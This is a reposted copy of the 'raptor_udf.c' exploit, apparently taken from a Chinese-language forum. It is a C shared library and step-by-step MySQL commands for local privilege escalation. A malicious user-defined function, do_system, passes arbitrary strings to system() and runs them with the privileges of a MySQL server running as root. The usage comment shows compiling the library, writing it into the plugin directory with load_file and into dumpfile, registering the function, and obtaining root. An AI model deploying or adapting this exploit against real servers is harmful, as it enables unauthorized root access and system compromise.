文章作者：
raptor@0xdeadbeef.info复制内容到剪贴板
代码:
raptor_udf.c
/*
* $Id: raptor_udf.c,v 1.1 2004/12/04 14:44:39 raptor Exp $
*
* raptor_udf.c - dynamic library for do_system() MySQL UDF
* Copyright (c) 2004 Marco Ivaldi <[email]raptor@0xdeadbeef.info[/email]>
*
* This is an helper dynamic library for local privilege escalation through
* MySQL run with root privileges (very bad idea!). Tested on MySQL 4.0.17.
*
* Code ripped from: [url]http://www.ngssoftware.com/papers/HackproofingMySQL.pdf[/url]
*
* "MySQL provides a mechanism by which the default set of functions can be
* expanded by means of custom written dynamic libraries containing User
* Defined Functions, or UDFs". -- Hackproofing MySQL
*
* Usage:
* $ id
* uid=500(raptor) gid=500(raptor) groups=500(raptor)
* $ gcc -g -c raptor_udf.c
* $ gcc -g -shared -W1,-soname,raptor_udf.so -o raptor_udf.so raptor_udf.o -lc
* $ mysql -u root -p
* Enter password:
* [...]
* mysql> use mysql;
* mysql> create table foo(line blob);
* mysql> insert into foo values(load_file('/home/raptor/raptor_udf.so'));
* mysql> select * from foo into dumpfile '/usr/lib/raptor_udf.so';
* mysql> create function do_system returns integer soname 'raptor_udf.so';
* mysql> select * from mysql.func;
* +-----------+-----+---------------+----------+
* | name | ret | dl | type |
* +-----------+-----+---------------+----------+
* | do_system | 2 | raptor_udf.so | function |
* +-----------+-----+---------------+----------+
* mysql> select do_system('id > /tmp/out; chown raptor.raptor /tmp/out');
* mysql> \! sh
* sh-2.05b$ cat /tmp/out
* uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)
* [...]
*/
#include <stdio.h>
#include <stdlib.h>
enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT};
typedef struct st_udf_args {
unsigned int arg_count; // number of arguments
enum Item_result *arg_type; // pointer to item_result
char **args; // pointer to arguments
unsigned long *lengths; // length of string args
char *maybe_null; // 1 for maybe_null args
} UDF_ARGS;
typedef struct st_udf_init {
char maybe_null; // 1 if func can return NULL
unsigned int decimals; // for real functions
unsigned long max_length; // for string functions
char *ptr; // free ptr for func data
char const_item; // 0 if result is constant
} UDF_INIT;
int do_system(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)
{
if (args->arg_count != 1)
return(0);
system(args->args[0]);
return(0);
}
